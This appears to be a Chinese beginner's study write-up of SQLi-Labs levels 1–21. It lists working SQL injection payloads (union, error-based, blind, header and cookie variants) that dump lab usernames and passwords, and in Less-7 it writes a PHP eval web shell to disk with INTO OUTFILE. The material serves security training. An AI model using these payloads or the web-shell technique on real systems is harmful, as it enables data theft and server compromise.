目录
SQLi-Labs是一个专注于SQL注入的在线靶场,通过模拟真实的Web应用环境,帮助安全爱好者提高SQL注入的防范和应对能力。它一共有65个关卡,其中关卡的类型有但不限于联合查询注入,报错注入,布尔盲注,延时盲注,POST注入,Cookie注入,WAF绕过……可以看出,涵盖的范围还是很广的,对于我们初学注入的人来说很友好。
首页
可以选择关卡
Less-1
在原始的URL后添加?id=1,会显示对应的Login name与Password
改成?id=-1,什么都没有
判断注入点
使用'或\来判断是否存在注入点
报错信息:
near ''-1\' LIMIT 0,1' at line 1
可以看到我们这一关的sql语句是用单引号闭合的,我们确认一下
?id=1' 报错
?id=1' --+ 不报错
说明确实是单引号闭合
现在已经可以确定其存在字符型的注入点,使用单引号闭合
判断字段数
在这里,我们借助order by关键字来判断查询语句中,查询的字段数数量
我们在这里每次改变id值,回显大概有两个,一个用户名,一个密码
输入 ?id=2
?id=1' order by 3--+
发现并没有报错
?id=1' order by 4--+
发现报错,在这里可以肯定字段数为3个
判断回显位置
?id=-1' union select 1,2,3--+
在这里可以发现我们的2,3回显到网页页面了,因此我们后面就可以将需要查询的信息,放到2,3的位置上即可
- 为什么要将前面的id=-1 ?
- 因为我们网页的回显位置有限,为了将我们想要的数据回显到页面上可以回显的位置,所以需要将原本的查询结果集置为空,因为没有id=-1的数据,所以我们想要的数据1,2,3就会优先填充到回显位上了
爆破数据库名
?id=-1' union select 1,2,database()--+
结果:查询到当前数据库名称为security
爆破数据库表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
结果:得到表名emails,referers,uagents,users
爆破字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
结果:成功得到字段名
在这里因为我们没有指定数据库的名称,只指定了表的名字,当多个数据库中存在相同的表名时,都会被查询出来。如果出现了这种情况,我们可以同时指定数据库的名称
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
结果:只有id,username,password
爆破数据
?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
结果:得到所有的用户名和其对应的密码。第一关结束!
Less-2
在URL后添加?id=1
将?id=1改成?id=-1
判断注入点
使用'或\来判断是否存在注入点
http://sqli-labs:8989/Less-2/?id=-1\
报错信息:
near '\ LIMIT 0,1' at line 1
通过报错信息,我们可以知道,存在注入点,并且为数值型注入
判断字段数
?id=1 order by 4--+
结果:判断出字段数为3
判断回显位置
?id=-1 union select 1,2,3--+
结果:可以发现我们的2,3回显到网页页面了,因此我们后面就可以将需要查询的信息,放到2,3的位置上即可
爆破数据库名
?id=-1 union select 1,2,database()--+
结果:查询到当前数据库名称为security
爆破表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
结果:得到表名emails,referers,uagents,users
爆破字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
结果:成功得到字段名id,username,password
爆破数据
?id=-1 union select 1,2,group_concat(username,0x7e,password) from users--+
结果:得到所有的用户名和其对应的密码。第二关结束!
Less-3
在URL后添加?id=1
将?id=1改成?id=-1
判断注入点
使用'或\来判断是否存在注入点
http://sqli-labs:8989/Less-3/?id=-1\
报错信息:
near ''-1\') LIMIT 0,1' at line 1
此时的sql语句是用单引号和括号闭合的
判断字段数
?id=1') order by 3--+
?id=1') order by 4--+
结果:可以判断字段数为3
判断回显位置
?id=-1') union select 1,2,3--+
结果:可以发现我们的2,3回显到网页页面了,因此我们后面就可以将需要查询的信息,放到2,3的位置上即可
爆破数据库名
?id=-1') union select 1,2,database()--+
结果:查询到当前数据库名称为security
爆破数据库表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
结果:得到表名emails,referers,uagents,users
爆破字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
结果:成功得到字段名id,username,password
爆破数据
?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+
结果:得到所有数据。第三关结束!
Less-4
在URL后添加?id=1
将?id=1改成?id=-1
判断注入点
使用'或\来判断是否存在注入点
http://sqli-labs:8989/Less-4/?id=-1\
报错信息
near '"-1\") LIMIT 0,1' at line 1
在这里我们可以知道,此时的sql语句是用双引号和括号闭合的
判断字段数
?id=1") order by 3--+
?id=1") order by 4--+
结果:可以判断字段数为3
判断回显位置
?id=-1") union select 1,2,3--+
结果:可以发现2,3回显到页面了,因此我们可以将需要查询的信息,放到2,3的位置上
爆破数据库名
?id=-1") union select 1,2,database()--+
结果:查询到当前数据库名称为security
爆破数据库表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
结果:得到表名emails,referers,uagents,users
爆破字段名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
结果:得到字段名id,username,password
爆破数据
?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+
结果:得到所有数据。第四关结束!
Less-5
在URL后添加?id=1
将?id=1改成?id=-1
判断注入点
使用'或\来判断是否存在注入点
http://sqli-labs:8989/Less-5/?id=-1\
报错信息:
near ''-1\' LIMIT 0,1' at line 1
结果:此时的sql语句是用单引号闭合的
判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
结果:可以判断字段数为3
判断回显位置
?id=-1' union select 1,2,3--+
结果:发现并没有回显,但是我们可以发现前面会有显示报错信息,因此我们可以采用报错注入
关于报错注入
所谓的报错注入就是利用报错信息回显,把想要的结果显示在报错信息中
因此,使用报错注入的前提就是页面会显示报错信息
最常用的一种报错注入的方式:
利用xpath语法错误注入
- 适用版本:mysql版本号大于5.1.5
- 从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue()和updatexml()
- Extractvalue()负责在xml文档中按照xpath语法查询节点内容
- updatexml()则负责修改查询到的内容
- 用法:这两个函数的第二个参数都要求是符合xpath语法的字符串,如果不满足要求就会报错,并且会把查询结果放在报错信息里。
爆破数据库名
?id=-1' and updatexml(1,concat(0x7e,database()),1) --+
结果:得到数据库名security
爆破数据库表名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
结果:得到表名emails,referers,uagents,users
爆破字段名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1) --+
结果:成功得到字段名id,username,password
爆破数据
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1) --+
结果:得到(部分)数据,其实与之前的数据相比就能看出来此次得到的数据是不全的。第三关结束!
在这里有个知识点
为什么我们回显的数据不全呢?
因为updatexml() 函数和extractvalue()的报错内容长度不能超过 32 个字符,所以需要我们对结果进行处理,可以让我们多次拿出我们想要的数据
我们该如何处理呢?
可以使用mid(),left(),substring()函数来对结果字符串进行处理,这里以substring进行演示
关于substring
SUBSTRING ( expression, start, length )
- expression
- 字符串、二进制字符串、文本、图像、列或包含列的表达式。请勿使用包含聚合函数的表达式。
- start
- 整数或可以隐式转换为 int 的表达式,指定子字符串的开始位置,索引是从1开始。
- length
- 整数或可以隐式转换为 int 的表达式,指定子字符串的长度。经测试,暂且发现只能是非负数
就拿我们当前的题目举例,给结果加上substring,我们现在只取第一个字符
也就是相应的应该为substring(xxx,1,1),也就是将结果从第一位开始取,取1位
?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),1,1)),1) --+
结果:只有第一位字符D
我们知道,报错信息只能输出32位,相当于以下语句:
?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),1,32)),1) --+
结果:和不加这个substring是一样的、
而现在我们想要得到后面的数据,(因为我们前面还有一个0x7e,所以后面的字符只显示31位,也就是说默认显示的数据是(~+1-31位的数据),前面的0x7e去掉也没问题),所以我们需要从第32位开始,只需要将开始位改为32即可,即substring(xxx,32,32)
?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),32,32)),1) --+
结果:得到后面的部分结果,所以我们可以利用这个方法得到所有数据,后面就不演示了。第五关结束!
Less-6
在URL后添加?id=1
将?id=1改成?id=-1
可以看到这次界面上依旧没有回显,基本可以确定不能使用联合查询注入
判断注入点
使用'或\来判断是否存在注入点
http://sqli-labs:8989/Less-6/?id=-1\
报错信息:存在报错信息,说明可以使用报错注入
near '"-1\" LIMIT 0,1' at line 1
此时的sql语句是双引号闭合的
爆破数据库名
?id=-1" and updatexml(1,concat(0x7e,database()),1) --+
结果:得到数据库名security
爆破数据库表名
?id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
结果:得到表名emails,referers,uagents,users
爆破字段名
?id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1) --+
结果:成功得到字段名id,username,password
爆破数据
?id=-1" and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),1,32)),1) --+
结果:得到(部分)数据。第六关结束!
Less-7
在URL后添加?id=1
将?id=1改成?id=-1
得到的基础信息是:无回显,无具体的报错信息,那么可能联合查询注入和报错注入都不能使用
判断注入点
通过页面不同的反馈来判断注入点和闭合方式,我们知道如果未能将引号闭合时,会发生报错
也就是说如果闭合方式中有我们尝试的字符,就会报错,如果没有就不会报错。
而报错和不报错页面都在上面了,我们开始尝试
先看最内层是单引号还是双引号
单引号
?id=1'
结果:其实已经可以看出闭合方式中含有单引号了,我们继续试一下双引号
双引号
?id=1"
结果:未报错,说明不含双引号
此时我们判断出,闭合方式中含有单引号,我们假设只有单引号,加上 or 1=1 —+
如果完全闭合将不会报错,若未完全闭合,就会报错
?id=1' or 1=1 --+
结果:报错,说明未完全闭合
继续尝试,直到不报错即可,最后判断出闭合方式为一个单引号和两个括号
?id=1')) --+
结果:未报错,判断闭合方式成功
首先开启文件读取权限
MySQL 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看在数据库里
show variables like '%secure%';
修改MySQL下的 my.ini 配置文件来启用权限
添加secure_file_priv="/"到配置文件
保存之后,重启数据库,再次查看
使用查询@@basedir,@@datadir
来确定MySQL的基础目录和数据目录
http://sqli-labs:8989/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+
利用Less-1把文件写入Less-7中
http://sqli-labs:8989/Less-1/?id=1' UNION SELECT 1,2,"<?php @eval($_POST['config']);?>" into outfile "D:\\BanGong\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php"--+
成功写入文件
使用中国蚁剑连接
URL为test.php的位置,密码为<?php @eval($_POST['config']);?>中的config
连接成功
结果:看到所有数据库内容。第六关结束!
Less-8
在URL后添加?id=1
将?id=1改成?id=-1
没有回显,没有报错信息,但真和假条件的页面不同,可以采用盲注
判断注入点
使用'来判断是否存在注入点
http://sqli-labs:8989/Less-8/?id=1'
结果:报错说明其中含有单引号,注释掉后面的单引号,看是否报错
http://sqli-labs:8989/Less-8/?id=1' --+
结果:不报错,说明闭合方式为单引号
爆破数据库名
and两端都为真,整体结果才为真
?id=1' and ascii(substring((select database()),1,1))>1--+
结果:可以真假页面显示的不同来判断我们构造的条件是否正确,ascii(substring((select database()),1,1))>1
为真
?id=1' and ascii(substring((select database()),1,1))>128 --+
结果:ascii(substring((select database()),1,1))>128
为假
我们可以使用这种方式并结合二分法来快速猜取数据库名,表名等
猜测数据库表名
其实这里根据前面几关的注入,已经知道了数据库名,我在这里直接输入数据库名进行判断
?id=1' and (select database())="security" --+
结果:说明数据库名对了
结果:猜测数据库名对了,到这里再猜数据库里的数据有点麻烦,这里就不展示了,与第七题相似。第八关结束!
Less-9
在URL后添加?id=1
将?id=1改成?id=-1
这里可以知道,当数据库没有一个数据的时候,应当会报错或是页面应该和查到一个数据的时候不同,我们的布尔盲注就是利用如此原理,但此时我们发现无论输入的id正确与否,页面都未发生改变,又无回显也没有报错信息,因此此时可以使用时间盲注
时间盲注
布尔盲注时根据页面的变化作为参照让我们知道我们构造的条件是否正确,而当页面没有变化时,我们仍需要一个参照来确认我们构造的条件是否正确
用什么作为参照?
没错,就是时间,在sql中有一个函数为sleep(n)可以将程序挂起n秒钟,并且搭配if(1,2,3),达到当我们构造的条件为真时,就进行睡眠。为假时就不做操作的效果
函数及效果
- if(1,2,3) 1处为条件,为真时执行2处语句,为假时执行3处语句
- sleep(n) 将程序挂起n秒钟
判断注入点
使用各种符号加上 and sleep(3)—+来判断闭合方式,需要保持and前的条件为真
判断注入点
使用各种符号加上 and sleep(3)—+来判断闭合方式,需要保持and前的条件为真
?id=1' and sleep(3)--+
结果:页面挂起将近三秒sleep正确执行,闭合方式为单引号
猜测数据库名
?id=1' and if(ascii(substring((select database()),1,1))>10,sleep(3),0)--+
结果:判断出数据库的第一个字符为s,睡眠三秒
结果:发现有延时,说明猜对了,用穷举法(比较费时间)继续猜测即可。第九关结束!
Less-10
在URL后添加?id=1
将?id=1改成?id=-1
结果:可以判断和上一关一样,依旧是时间盲注
判断注入点
使用各种符号加上 and sleep(3)—+来判断闭合方式,需要保持and前的条件为真
?id=1" and sleep(3)--+
结果:判断闭合方式为双引号
猜测数据库名
?id=1" and if(ascii(substring((select database()),1,1))>10,sleep(3),0)--+
结果:判断出数据库的第一个字符为s,睡眠三秒
结果:其实和第10关一样,只不过闭合方式是双引号。第十关结束!
Less-11
判断注入点
像这种POST类型的,可以现在每一个输入框内进行尝试,先在username中使用单引号进行尝试
1' or 1=1 #
结果:登陆成功,说明闭合方式为单引号,并且有回显,我们就可以尝试联合查询注入
判断字段数
1' order by 3 #
结果:不是三列
1' order by 2 #
结果:字段数为2列
判断回显位置
-1' union select 1,2 #
结果:1,2已经按我们输入的位置回显到页面上
爆破数据库名
-1' union select 1,database() #
结果:得到数据库名称security
爆破数据库表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
结果:users表的字段名id,username,password
爆破数据
-1' union select 1,group_concat(username,0x7e,password) from users #
结果:得到所有数据。第十一关结束!
Less-12
判断注入点
因为有回显,所以直接用 \ 判断注入点以及闭合方式
near '"\") and password=("") LIMIT 0,1' at line 1
报错信息:去掉用来引出报错信息的单引号,发现闭合方式是双引号+括号
判断字段数
1") order by 2 #
结果:字段数为2
判断回显位置
1") union select 1,2 #
爆破数据库名
1") union select 1,database() #
结果:得到数据库名为security,后面就不在赘述。第十二关结束!
Less-13
判断注入点
直接用\来判断是否存在注入点
near ''\') and password=('') LIMIT 0,1' at line 1
报错信息:单引号加括号闭合
使用万能密码登录
1') or 1=1#
结果:无回显,但是一开始我们知道有报错信息,可以使用报错注入
1') and updatexml(1,concat(0x7e,database()),1)#
结果:爆破出数据库名,后面不再演示。第十三关结束!
Less-14
判断注入点
直接使用 \ 来判断是否存在注入点
报错信息:使用双引号闭合
爆破数据库名
" and updatexml(1,concat(0x7e,database()),1) #
结果:security,后面不再演示。第三关结束!
Less-15
判断注入点
无回显,使用各种符号结合orr1=1进行判断注入点
-1' or 1=1#
结果:判断闭合方式为单引号
爆破数据库名
1' or substring(database(),1,1)='s'#
1' or database()='security'#
结果:得到数据库为security,后面不再演示。第十五关结束!
Less-16
判断注入点
1") or 1=1#
结果:判断出闭合方式为双引号+括号
爆破数据库名
1") or substring(database(),1,1)='s'#
1") or database()='security'#
结果:与前面一样,这里就不过多展示了。第十六关结束!
Less-17
判断注入点
可以看到上面有一个大大的黄字,说是密码重置,那么一般遇到密码重置的页面,我们一般都是通过给出正确的用户名来进行修改,先对username判断有没有注入点
各种符号或存在的用户名+符号
结果:发现有做防护,只有在username完全是存在的用户名时才不会报错
再次尝试
结果:username无注入点,接下来测试password
结果:无回显,但是存在报错,可以使用报错注入
username:dumb
new password:'and updatexml(1,concat(0x7e,database()),1) #
爆破数据库表名
' or 1=2 or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #
爆破数据库的列名
' or 1=2 or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #
爆破数据
' or 1=2 or updatexml(1,concat('~',(select group_concat(username,0x7e,password) from (select * from security.users) as temp)),1) #
结果:得到数据库详细数据。第十七关结束
Less-18
判断注入点
结果:除了正常登陆外,没有发现别的异常
我们选择一个正常的账户进行登录
结果:有回显,接下来使用BurpSuite抓包并放到重放器中
在重放器中找到我们的user-agent来判断是否存在注入点
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0)'
结果:报错,可以使用报错注入
爆破数据库名
分析:
因为根据报错信息可知,闭合方式为单引号和括号,但是因为这句并不是查询语句。所以并不能直接闭合然后在用and报错注入,先把单引号闭合然后报错注入后再闭合括号
User-Agent: ' or updatexml(1,concat(0x7e,(select database())),1),1) #
结果:得到数据库名,以后的就不展示了。第十八关结束!
Less-19
判断注入点
先使用admin,admin或一个确定的账户登录,查看回显
抓包:依旧放到重放器中
Referer: '
结果:回显refer,用老办法尝试username和password处并不存在注入点,因此抓包判断Referer
结果:报错,发现闭合方式为单引号和括号,可以使用报错注入
爆破数据库名
Referer: ') or updatexml(1,concat(0x7e,database()),1)#
结果:直接闭合单引号括号,报错猜测是插入语句
验证一下是不是插入语句
') #
结果:经典的插入语句报错
' or updatexml(1,concat(0x7e,database()),1))#
结果:得到数据库名,后面不再演示。第十九关结束!
Less-20
判断注入点
依旧在username和password中找不到注入点
使用正确的账户进行登录admin,admin
抓包并上传到重放器,抓登陆后的
在username处进行尝试看看是否存在注入点
Cookie: uname=' ;
结果:根据报错信息可知其使用单引号闭合
爆破数据库名
uname=' and updatexml(1,concat(0x7e,database()),1)#
结果:得到数据库名。第二十关结束!
Less-21
判断注入点
使用正常用户登录admin,admin
刷新,抓包,并发送到重放器
发现Cookie中的uname使用的是BASE64加密很可疑,我们可以使用burp自带的解密进行查看,注意:其中%3D为URL编码,意思是=,防止base64解密出错,可以先URLdecode
Cookie: uname=Jw==;
结果:根据报错信息可知,闭合方式为单引号+括号(为什么三个单引号,因为我们前面没填东西,就把前面的一个单引号给爆出来了)
爆破数据库名
Cookie: uname=JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpLDEpIw== ;
结果:得到数据库名。第二十一关结束!
本人是初学者,自己的笔记,不惜互喷,谢谢!
如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。